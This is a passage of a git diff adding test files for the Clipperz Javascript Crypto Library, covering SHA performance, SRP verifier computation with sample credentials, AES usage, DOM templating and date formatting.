'longTextPerformance_test': function (someTestArgs) {
|
||||
var longText;
|
||||
var startTime;
|
||||
var endTime;
|
||||
|
||||
longText = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec nunc sapien, condimentum vitae, varius vel, pharetra in, augue. Mauris quam magna, pretium sit amet, accumsan id, volutpat lobortis, nibh. Fusce sagittis. Aenean justo. Curabitur euismod pede. Morbi at ante. Proin nisl leo, ultrices sed, facilisis et, nonummy sit amet, lorem. Praesent mauris tellus, pulvinar sed, nonummy vitae, rhoncus non, nunc. Proin placerat malesuada nisl. Nunc id enim. Maecenas commodo enim ac nibh. Sed condimentum, urna sit amet euismod gravida, mi urna varius odio, luctus pretium lectus justo nec felis. Ut in augue et est malesuada rhoncus. Sed vel orci. Mauris suscipit. Praesent cursus velit non turpis. Donec tristique dolor ac est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nulla est sapien, vulputate eget, bibendum id, pharetra nec, mauris. Aliquam faucibus tincidunt dui. Proin iaculis. Maecenas sagittis. Integer et augue. Donec vitae urna in orci aliquet commodo. Vestibulum lorem sem, suscipit ac, placerat nec, mollis in, felis. Donec laoreet odio a mauris. Integer rutrum, sapien id varius molestie, mauris odio egestas orci, non bibendum sem felis in metus. Phasellus consectetuer lectus adipiscing mauris. Ut magna tellus, euismod ac, suscipit tincidunt, ullamcorper adipiscing, massa. Etiam orci. Phasellus a urna. Cras neque quam, laoreet at, tempus eget, euismod nec, nibh. Etiam hendrerit. Aenean vel lorem. Ut ligula lacus, congue eu, lobortis sit amet, venenatis in, magna. Nullam cursus felis quis est. Sed sem est, condimentum eu, vestibulum a, mattis vel, diam. Curabitur tincidunt pede quis pede. Sed neque diam, convallis vel, luctus at, porta id, nisl. Suspendisse potenti. Sed volutpat lobortis orci. Praesent mi. In interdum. Suspendisse suscipit ipsum eget dolor. Curabitur et tellus sed velit hendrerit varius. Cras sit amet est. Donec arcu nulla, vehicula et, pretium in, placerat id, felis. Integer mollis auctor lectus. Integer ultrices elementum sapien. Nam et erat. Nam pulvinar porta tortor. Nam at risus. Quisque nulla. Integer vestibulum, lacus id bibendum laoreet, ligula mi pharetra lorem, sit amet pharetra felis mauris quis justo. Aliquam ultricies. Duis a pede eget lorem dapibus rhoncus. Aenean eu elit non libero consectetuer viverra. Maecenas velit mi, eleifend vel, malesuada vel, condimentum quis, odio. Mauris tempus augue sed turpis. Pellentesque condimentum, lacus vitae pellentesque ultricies, risus tellus posuere nisi, et dictum turpis pede nec elit. Sed eu lectus eu justo sagittis euismod. Vestibulum lobortis, urna id mollis rhoncus, orci quam euismod ligula, at malesuada lacus magna vitae massa. Phasellus mattis fermentum velit. Nulla vulputate consequat enim. Maecenas quis neque. Curabitur sagittis facilisis neque. In elementum, eros non porttitor rhoncus, libero turpis sodales odio, vitae porta tellus purus et ante. Nullam molestie sollicitudin metus. Donec a elit. Morbi ut lacus. Donec at arcu. Quisque velit diam, interdum a, lacinia at, varius et, odio. Cras neque magna, ornare id, sollicitudin id, consequat a, est. Phasellus vestibulum est at leo. Nam facilisis, nulla dapibus condimentum pellentesque, est magna viverra ligula, at sollicitudin urna augue ut sapien. Fusce justo.";
|
||||
startTime = new Date();
|
||||
testSHA(longText, '0xf6fac13c06784e0fbc61a3d25c41c9984840a8b617a2beb57cf6fa3e5e4a8949');
|
||||
endTime = new Date();
|
||||
|
||||
is((endTime - startTime) < 100, true, "Long text hash performance (" + (endTime - startTime) + ")");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.Crypto.SHA", tests, {trace:false});
|
||||
161
frontend/gamma/tests/tests/Clipperz/Crypto/SRP.html
Normal file
@@ -0,0 +1,161 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
hashString = function(aValue) {
|
||||
return Clipperz.Crypto.SHA.sha256(new Clipperz.ByteArray(aValue)).toHexString().substring(2)
|
||||
}
|
||||
try {
|
||||
var username;
|
||||
var passphrase;
|
||||
|
||||
var C;
|
||||
var P;
|
||||
var encryptedText_1;
|
||||
var encryptedText_2;
|
||||
var salt;
|
||||
var x;
|
||||
var v;
|
||||
var v1;
|
||||
|
||||
username = "giulio.cesare";
|
||||
passphrase = "trustno1";
|
||||
|
||||
C = hashString(username);
|
||||
is (C, "bde3c7b5fdcd9d6ce72782ca1ae912fc4397d668fcb3a73a04e5d47852670c4a", "C");
|
||||
|
||||
P = hashString(passphrase + username);
|
||||
is (P, "d79f5c5a04e91e1c85fb64cb6ee9481cb52c181047f69da02cd6c3ce6d058a76", "P");
|
||||
|
||||
salt = "cf1fa93393ade60318b8276f1f39420098419445005a7dc9117975fe1f8d9988";
|
||||
|
||||
x = hashString(salt + P);
|
||||
is(x, "21fe88a158e420aade86e00b5eb12a4c19bf15482fa34c542c90b1afdbd5b5fd", "x");
|
||||
|
||||
v = Clipperz.Crypto.SRP.g().powerModule(new Clipperz.Crypto.BigInt(x, 16), Clipperz.Crypto.SRP.n());
|
||||
is(v.asString(10), "33816467430011076413789931449607305355248467973000153409872503376381719918118", "v");
|
||||
is(v.asString(16), "4ac37139dbf32ebabd2c43f91dd085066d3c457d059efd5902d32ed247fcb626", "v (base 16)");
|
||||
|
||||
// encryptedText_1 = Clipperz.Crypto.Base.encryptUsingSecretKey(passphrase, username);
|
||||
// encryptedText_2 = Clipperz.Crypto.Base.encryptUsingSecretKey(passphrase, username);
|
||||
// is (encryptedText_1 != encryptedText_2, true, "Two round of encryption (with random padding bits) should NOT produce the same result");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
username = "giulio.cesare.debug";
|
||||
passphrase = "trustno1";
|
||||
|
||||
C = hashString(username);
|
||||
is (C, "fa1af609123b97a10d676158ed538d4657a89ac33a102b22bd9a66712039e208", "C");
|
||||
|
||||
P = hashString(passphrase + username);
|
||||
is (P, "e1bfba03dd626b12f29458a6ad63fb2c01b4765548504e1e2f6b1503c82e4253", "P");
|
||||
|
||||
salt = "cf1fa93393ade60318b8276f1f39420098419445005a7dc9117975fe1f8d9988";
|
||||
|
||||
x = hashString(salt + P);
|
||||
is(x, "93d4af3cdcd2447a745d309826dff3161feed4b15f32db8e909ff032a2bc8fb8", "x");
|
||||
|
||||
v = Clipperz.Crypto.SRP.g().powerModule(new Clipperz.Crypto.BigInt(x, 16), Clipperz.Crypto.SRP.n());
|
||||
is(v.asString(10), "115049747015252903452664067168789229427785288458366249918596663144588656606556", "v");
|
||||
|
||||
// encryptedText_1 = Clipperz.Crypto.Base.encryptUsingSecretKey(passphrase, username);
|
||||
// encryptedText_2 = Clipperz.Crypto.Base.encryptUsingSecretKey(passphrase, username);
|
||||
// is (encryptedText_1 != encryptedText_2, true, "Two round of encryption (with random padding bits) should NOT produce the same result");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
var srpConnection;
|
||||
var C, P, salt;
|
||||
|
||||
C = "da8602c2f847306f4eb9acdaad925277d1fad1408f173f128a078aea15e60b1e";
|
||||
P = "77643559beca49dd21c1c31db10bb0a9009662cb504413dc3fa3b7303c7e02ba";
|
||||
salt = "000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1";
|
||||
|
||||
srpConnection = new Clipperz.Crypto.SRP.Connection({C:C, P:P, hash:Clipperz.Crypto.SHA.sha_d256});
|
||||
srpConnection._a = new Clipperz.Crypto.BigInt("37532428169486597638072888476611365392249575518156687476805936694442691012367", 10);
|
||||
srpConnection.set_s(new Clipperz.Crypto.BigInt(salt, 16));
|
||||
is (srpConnection.s().asString(16, 64), salt, "salt read/write is coherent");
|
||||
srpConnection.set_B(new Clipperz.Crypto.BigInt("123541032067854367017620977654446651448957899464139861291542193929199957895435", 10));
|
||||
|
||||
is( srpConnection.serverSideCredentialsWithSalt(salt).v,
|
||||
"c73169c8236d37bf9ef11a2349e3064b7dc6e883a58d64443ea9235677520030",
|
||||
"server side credentials - v"
|
||||
)
|
||||
is(srpConnection.S(), "84134227508133659832466942692590826994401065200828529664948840490489960952050", "Server side 'S'");
|
||||
//MochiKit.Logging.logDebug("=== serverSideCredentials: " + MochiKit.Base.serializeJSON(srpConnection.serverSideCredentialsWithSalt(salt)));
|
||||
|
||||
srpConnection = new Clipperz.Crypto.SRP.Connection({C:C, P:P, hash:Clipperz.Crypto.SHA.sha_d256});
|
||||
try {
|
||||
srpConnection.set_B(new Clipperz.Crypto.BigInt("0", 10));
|
||||
ok(false, "Setting B to 0 should raise an exception");
|
||||
} catch(e) {
|
||||
ok(true, "Setting B to 0 should raise an exception");
|
||||
}
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
122
frontend/gamma/tests/tests/Clipperz/Crypto/Usage.html
Normal file
@@ -0,0 +1,122 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Crypto.Usage - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
MochiKit.Base.update(Clipperz, {
|
||||
'PM': {
|
||||
'Crypto': {
|
||||
'passwordEntropy': function(aValue) {
|
||||
var result;
|
||||
var bitPerChar;
|
||||
|
||||
bitPerChar = 4;
|
||||
if (/[a-z]/.test(aValue)) {
|
||||
bitPerChar ++;
|
||||
}
|
||||
if (/[A-Z]/.test(aValue)) {
|
||||
bitPerChar ++;
|
||||
}
|
||||
if (/[^a-zA-Z0-9]/.test(aValue)) {
|
||||
bitPerChar ++;
|
||||
}
|
||||
//MochiKit.Logging.logDebug("--- bitPerChar: " + bitPerChar);
|
||||
|
||||
result = aValue.length * bitPerChar;
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
try {
|
||||
var keyValue;
|
||||
var keyEntropy;
|
||||
var key;
|
||||
var plainText;
|
||||
var cypherText;
|
||||
var randomBytes;
|
||||
var hashedValue;
|
||||
|
||||
key = Clipperz.Crypto.SHA.sha256(new Clipperz.ByteArray("This is my long and complex passphrase"));
|
||||
keyEntropy = Clipperz.PM.Crypto.passwordEntropy(key);
|
||||
|
||||
cypherText = Clipperz.Crypto.AES.encrypt(key, new Clipperz.ByteArray("some text to encrypt"));
|
||||
plainText = Clipperz.Crypto.AES.decrypt(key, cypherText).asString();
|
||||
is(plainText, "some text to encrypt");
|
||||
|
||||
randomBytes = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(256/8);
|
||||
hashedValue = Clipperz.Crypto.SHA.sha256(new Clipperz.ByteArray("text to hash"));
|
||||
|
||||
//#############################################################################
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
58
frontend/gamma/tests/tests/Clipperz/Crypto/index.html
Normal file
@@ -0,0 +1,58 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Crypto.* - tests</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
'AES.html',
|
||||
'AES.performance.html',
|
||||
'Base.html',
|
||||
'BigInt.html',
|
||||
|
||||
// 'ECC.B283.deferred.html',
|
||||
// 'ECC.BinaryField.FiniteField.html',
|
||||
// 'ECC.BinaryField.FiniteField.B283.html',
|
||||
// 'ECC.BinaryField.Value.html',
|
||||
//# 'ECC.K283.deferred.html',
|
||||
|
||||
'PRNG.html',
|
||||
// 'RSA.html',
|
||||
'SHA.html',
|
||||
'SRP.html',
|
||||
'Usage.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
1577
frontend/gamma/tests/tests/Clipperz/Crypto/jscrypto.js
Normal file
58
frontend/gamma/tests/tests/Clipperz/DOM.html
Normal file
@@ -0,0 +1,58 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/DOM.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Logging.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script>
|
||||
Clipperz_IEisBroken = false;
|
||||
</script>
|
||||
|
||||
<!--[if IE]><script>
|
||||
Clipperz_IEisBroken = true;
|
||||
</script><![endif]-->
|
||||
<script type="text/javascript" src="DOM.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
82
frontend/gamma/tests/tests/Clipperz/DOM.test.js
Normal file
@@ -0,0 +1,82 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
try {
|
||||
var template;
|
||||
var templateArgs;
|
||||
var element;
|
||||
var rowElement;
|
||||
var tdElement;
|
||||
|
||||
template = Clipperz.DOM.Helper.createTemplate(
|
||||
[
|
||||
{tag:'td', children:[{tag:'img', cls:'favicon', src:'{faviconUrl}'}]},
|
||||
{tag:'td', children:[{tag:'a', href:'#', cls:'title', html:'{cardTitle}'}]},
|
||||
{tag:'td', children:[{tag:'span', cls:'directLogins', id:'{directLoginsID}'}]},
|
||||
{tag:'td', children:[{tag:'span', cls:'latestUpdate', html:'{latestUpdate}'}]},
|
||||
{tag:'td'}
|
||||
]
|
||||
);
|
||||
|
||||
templateArgs = {
|
||||
cardTitle: "Amazon.com",
|
||||
directLoginsID: "Clipperz_PM_Components_directLogins_58",
|
||||
faviconUrl: "http://www.amazon.com/favicon.ico",
|
||||
latestUpdate: "",
|
||||
reference: "13a5e52976337ab210903cd04872588e1b21fb72bc183e91aa25c494b8138551"
|
||||
}
|
||||
|
||||
element = Clipperz.DOM.Helper.append(document.body, {tag:'table', children:[
|
||||
{tag:'theader'},
|
||||
{tag:'tbody', children:[
|
||||
{tag:'tr', id:'testRow'}
|
||||
]},
|
||||
{tag:'tfooter'}
|
||||
]});
|
||||
ok(element != null, "created the TABLE");
|
||||
|
||||
rowElement = Clipperz.DOM.get('testRow');
|
||||
ok(testRow != null, "created the ROW");
|
||||
|
||||
template.append(rowElement, templateArgs);
|
||||
tdElement = Clipperz.DOM.get(templateArgs['directLoginsID']);
|
||||
ok(tdElement != null, "created the TD");
|
||||
|
||||
} catch (err) {
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
54
frontend/gamma/tests/tests/Clipperz/Date.html
Normal file
@@ -0,0 +1,54 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Date - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Async.js'></script>
|
||||
|
||||
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="Date.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
66
frontend/gamma/tests/tests/Clipperz/Date.test.js
Normal file
@@ -0,0 +1,66 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
var tests = {
|
||||
|
||||
'001_test': function () {
|
||||
var date;
|
||||
var locale;
|
||||
|
||||
// date = new Date(0);
|
||||
// date.setMilliseconds(Date.parse("Fri, 21 Sep 2007 10:04:24 UTC"));
|
||||
|
||||
date = new Date(Date.parse("Fri, 21 Sep 2007 10:04:24 UTC"));
|
||||
|
||||
locale = {
|
||||
'amDesignation': "am",
|
||||
'pmDesignation': "pm",
|
||||
// 'shortDateFormat': "d/m/y",
|
||||
// 'longDateFormat': "",
|
||||
'months': ["January", "February", "March", "April",
|
||||
"May", "June", "July", "August",
|
||||
"September", "October", "November", "December" ],
|
||||
'shortMonths': ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"],
|
||||
'days': ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ],
|
||||
'shortDays': ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ]
|
||||
}
|
||||
|
||||
is(Clipperz.Date.formatDateWithPHPLikeTemplateAndLocale(date, "d/m/y", locale), '21/09/07', "formatDate - 1");
|
||||
is(Clipperz.Date.formatDateWithPHPLikeTemplateAndLocale(date, "D M Y", locale), 'Fri Sep 2007', "formatDate - 2");
|
||||
is(Clipperz.Date.formatDateWithPHPLikeTemplateAndLocale(date, "D, d M Y", locale), 'Fri, 21 Sep 2007', "formatDate - 3");
|
||||
is(Clipperz.Date.formatDateWithPHPLikeTemplateAndLocale(date, "D, d M Y H:i:s", locale), 'Fri, 21 Sep 2007 12:04:24', "formatDate - 4");
|
||||
// is(Clipperz.Date.formatDateWithPHPLikeTemplateAndLocale(date, "D, d M Y H:i:s (T)", locale), 'Fri, 21 Sep 2007 11:04:24 (CEST)', "formatDate - 5");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.Date", tests, {trace:false});
|
||||
@@ -0,0 +1,910 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
